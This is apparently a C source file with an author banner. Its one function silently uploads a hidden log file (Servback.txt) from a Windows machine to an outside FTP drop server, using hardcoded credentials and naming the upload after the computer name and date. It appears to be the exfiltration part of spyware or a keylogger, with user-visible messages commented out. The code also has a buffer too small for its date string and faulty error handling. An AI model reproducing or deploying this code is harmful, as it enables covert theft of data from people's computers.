////////////////////////////////////////////////////////////////////
// This program is done by Hirosh Joseph from india //
// Email hirosh@hirosh.com //
// Website www.hirosh.com,www.hirosh.net,www.hirosh.org //
// I always welcome to ur valuble comments //
////////////////////////////////////////////////////////////////////
#include "stdafx.h"
// General Globals
char szAppName[20] = "ServPost";
DWORD dwBinary = FTP_TRANSFER_TYPE_BINARY;
int ftppost()
{
HINTERNET hInternet, hHost; // handles.
int i;
char szHost[128];
char szPath[MAX_PATH];
char szFile[MAX_PATH];
//U can create free ftp space in www.xoasis.com like websites
lstrcpy( szHost, "ftp.xoasis.com");
lstrcpy( szFile, "" );
lstrcpy(szPath, "/"); // Use root as default path.
// Get the path, if prepended to filename.
for (i=strlen(szFile); i>0; --i)
{
if (szFile[i]=='/' || szFile[i]=='\\')
{
strncpy(szPath, szFile, ++i);
szPath[i]= 0; // terminate.
lstrcpy(szFile, szFile+i);
break;
}
}
hInternet = InternetOpen( szAppName, LOCAL_INTERNET_ACCESS , NULL, 0, 0 );
if (!hInternet)
{
//MessageBox(0,"111","1",MB_OK);
InternetCloseHandle( hInternet );
return 1;
}
hHost = InternetConnect( hInternet, szHost, INTERNET_INVALID_PORT_NUMBER,
"Username","Password", INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE , 0);
if (!hHost)
{//MessageBox(0,"222","1",MB_OK);
InternetCloseHandle( hInternet );
return 1;
}
if (!FtpSetCurrentDirectory( hHost, szPath ))
{
//MessageBox(0,"333","1",MB_OK);
InternetCloseHandle( hInternet );
return 1;
}
char b[MAX_PATH];
strcpy(b,"");
GetWindowsDirectory(b,MAX_PATH);
strcat(b, "\\Servback.txt" );
strcat(b,"\0");
DWORD dwSize;
char szBuffer[MAX_COMPUTERNAME_LENGTH + 1];
dwSize = MAX_COMPUTERNAME_LENGTH + 1;
GetComputerName (szBuffer, &dwSize);
SYSTEMTIME stime;
char sdate[5];
GetSystemTime(&stime);
sprintf(sdate,"%d.txt",stime.wDay);
char fname[100];
strcpy(fname,szBuffer);
strcat(fname,sdate);
strcat(fname,"\0");
if (!FtpPutFile( hHost, b,fname,FTP_TRANSFER_TYPE_ASCII ,0))
{
//MessageBox(0,"444","1",MB_OK);
InternetCloseHandle( hInternet );
return 1;
}
InternetCloseHandle( hHost );
InternetCloseHandle( hInternet );
return 0;
}